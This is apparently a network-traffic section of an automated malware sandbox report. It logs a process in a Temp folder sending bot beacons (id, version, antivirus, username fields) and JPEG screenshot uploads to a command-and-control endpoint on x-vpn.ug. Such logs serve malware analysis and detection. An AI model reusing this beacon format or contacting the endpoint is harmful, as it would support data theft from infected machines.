Jul 19, 2021 18:36:12.968614101 CEST	14013	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:12 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
133	192.168.2.6	49887	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:13.158267975 CEST	14022	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:13.250161886 CEST	14022	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
134	192.168.2.6	49888	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:13.450856924 CEST	14023	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----866c4cda6901e9214d16c6f8e155941a Host: x-vpn.ug Content-Length: 96868 Cache-Control: no-cache
Jul 19, 2021 18:36:13.450998068 CEST	14024	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 38 36 36 63 34 63 64 61 36 39 30 31 65 39 32 31 34 64 31 36 63 36 66 38 65 31 35 35 39 34 31 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------866c4cda6901e9214d16c6f8e155941aContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:13.451258898 CEST	14034	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:13.451385975 CEST	14036	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:13.533051014 CEST	14053	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:13.533174992 CEST	14057	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:13.533333063 CEST	14062	OUT	Data Raw: ac 91 b4 64 2e 20 5d b8 dc 31 d4 60 63 14 c8 bc 4f 68 91 9b 06 d1 ee 9b 49 5d 35 b4 f8 e2 fb 70 f3 c0 69 96 62 c6 53 11 53 f3 0c 00 10 00 0f e2 78 9b ad d3 fa df fe 01 d8 95 2e bf d6 ab fe 09 37 d8 f4 1b 2d 2c 5f 6a b6 1a d4 06 4d 4e 5b 23 08 b9 Data Ascii: d. ]1`cOhI]5pibSSx.7-,_jMN[#@%<\|1Zmc}enod&`R32\.I'kEh..{<^}A@".1.'885\|@/#_{{kiJu@_#^jV_Fd`u[+DRG;8l
Jul 19, 2021 18:36:13.615700960 CEST	14102	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:36:13.615787029 CEST	14113	OUT	Data Raw: 0f 41 5e f1 79 73 a3 ad ed c0 97 c4 3a a4 52 09 18 34 69 23 ed 43 9e 40 f9 7a 0a e5 c5 d3 74 e1 18 bf 3f d0 de 84 b9 a5 26 bc 89 bc ab 8f fa 13 ad 3f ef f4 5f e1 5e 5b fb 42 02 2d 3c 2a 0c 22 02 12 e3 31 29 04 27 10 fc a3 1c 71 d2 bd 1b ed 5a 27 Data Ascii: A^ys:R4i#C@zt?&?_^[B-<*"1)'qZ'"(1Jc+#!>\|hWiQE QIJ(BbZAKL)QE(Z;Q@G4RShKIE1zviPFiESRR()R(@-.qIE1)\QMa
Jul 19, 2021 18:36:13.697943926 CEST	14121	OUT	Data Raw: 8a 28 a4 02 f6 a4 a2 8a 00 29 28 ef 45 0c 04 a2 8a 4c d2 18 b4 53 73 40 34 5c 76 1f 45 37 34 9b a8 b8 58 76 69 33 4d 26 8c d2 b8 58 71 34 99 a6 e6 93 34 ae 3b 0f cd 25 25 14 00 b4 52 66 8c d0 3b 0b 9a 4c d1 45 00 14 52 66 93 34 ae 02 e6 8c d2 76 Data Ascii: ()(ELSs@4\vE74Xvi3M&Xq44;%%Rf;LERf4vu\!i2i3Ia4RQH,-&h 4\cGjJ(\vJ)\CK@Q@Q@h{RQE0E4@Xvy4E0JJhh&himhy&{_ dWbh
Jul 19, 2021 18:36:13.788165092 CEST	14122	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
135	192.168.2.6	49889	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:13.454369068 CEST	14037	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:13.538918018 CEST	14062	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:13 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
136	192.168.2.6	49890	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:13.733556986 CEST	14121	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:13.811650991 CEST	14122	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:13 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
137	192.168.2.6	49891	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:14.013472080 CEST	14123	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:14.107184887 CEST	14137	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:14 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
138	192.168.2.6	49892	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:14.070498943 CEST	14124	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:36:14.070785046 CEST	14124	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:14.071162939 CEST	14134	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:14.071660042 CEST	14137	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:14.151396036 CEST	14140	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:14.151437044 CEST	14148	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:14.151555061 CEST	14163	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:14.153012037 CEST	14163	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:14 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:14.230811119 CEST	14171	OUT	Data Raw: 3b df b3 4e d6 fc 0e 2e f3 e0 ef 83 ed ec ae 26 4b 5b ad d1 c4 ce 01 b9 6c 64 0c d7 95 7c 42 f8 7b 3f 85 2e da ea cc 34 ba 54 8d f2 b7 53 11 fe eb 7f 8d 7d 0b 3d fd d5 c5 b4 b0 b6 83 a9 05 91 0a 12 24 b7 c8 04 63 fe 7a d6 45 d5 b1 d4 f4 5d 55 6e Data Ascii: ;N.&K[ld\|B{?.4TS}=$czE]UnffWIm;Fu 29YXZ)EzR<F"4rpTq^O^E[@1]I1?\|>ks3 6peJR
Jul 19, 2021 18:36:14.230915070 CEST	14198	OUT	Data Raw: 1c d2 1e 0d 02 1d da 97 b5 27 5a 51 4c 91 47 34 11 45 19 a0 41 d6 94 7d 68 a5 02 80 17 b5 38 50 05 14 c9 62 d2 9a 6f 6a 05 02 b0 b4 a0 e2 92 8a 04 3c 11 4a 6a 3a 78 3c 50 26 8d 9f 0c 8c eb 31 fd 0d 57 bd ff 00 8f e9 ff 00 df 35 67 c2 a3 3a e4 7f Data Ascii: 'ZQLG4EA}h8Pboj<Jj:x<P&1W5g:{\ 84IEE%EP!E8S)QEhN_)LZO*dZZO1WHJ/GS^k3K!Xuqaanp=}
Jul 19, 2021 18:36:14.231339931 CEST	14203	OUT	Data Raw: 78 cc 60 fc a5 32 0e 3d eb 97 a2 a3 d9 47 fa f5 bf e6 57 b4 7f d7 a5 bf 23 4b 52 d6 a5 d4 ed b4 b4 30 88 65 b0 49 17 cc 56 e1 d9 e6 79 72 06 3e 5c 6f c6 39 e9 5b b6 be 27 d0 9f 56 b9 d5 2e b4 ab cb 4d 4e ea 39 37 5d db 4c b2 c5 0c ae 08 32 a4 04 Data Ascii: x`2=GW#KR0eIVyr>\o9['V.MN97]L2)[ pr\|Sc]KCWgX7\AG(m8'.Mhiq0q\lFZ0Xe{w(Iu}#PHE};/v63*A6:^XMso[G
Jul 19, 2021 18:36:14.231570005 CEST	14208	OUT	Data Raw: d4 53 69 69 85 85 14 ec d3 29 73 4c 43 e8 cd 36 96 9d c4 48 0d 38 1a 8c 1a 76 6a ae 4b 44 99 a3 35 18 34 b9 a7 72 6c 49 9a 5c d4 40 d3 b3 4e e2 b1 20 34 a0 d4 60 d2 83 4e e2 b1 26 79 eb 4b 9a 8f 34 6e aa b8 ac 4b 9a 33 51 ee a3 75 17 15 89 33 46 Data Ascii: Sii)sLC6H8vjKD54rlI\@N 4`N&yK4nK3Qu3Fi4\,<LRn?4B<i4[*a4nRCSKSIRi4BiL&79l-IRTsEM4U&J(nhLLBRw&N)Sl'"(&

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
139	192.168.2.6	49893	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:14.300493956 CEST	14209	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:14.383246899 CEST	14222	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:14 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.6	49751	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:28.537805080 CEST	2475	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----7f8d339357acc0d0c54f7d208503fdb7 Host: x-vpn.ug Content-Length: 96499 Cache-Control: no-cache
Jul 19, 2021 18:35:28.537966967 CEST	2475	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 37 66 38 64 33 33 39 33 35 37 61 63 63 30 64 30 63 35 34 66 37 64 32 30 38 35 30 33 66 64 62 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------7f8d339357acc0d0c54f7d208503fdb7Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:28.538187981 CEST	2485	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:28.538434982 CEST	2488	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:28.620897055 CEST	2491	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
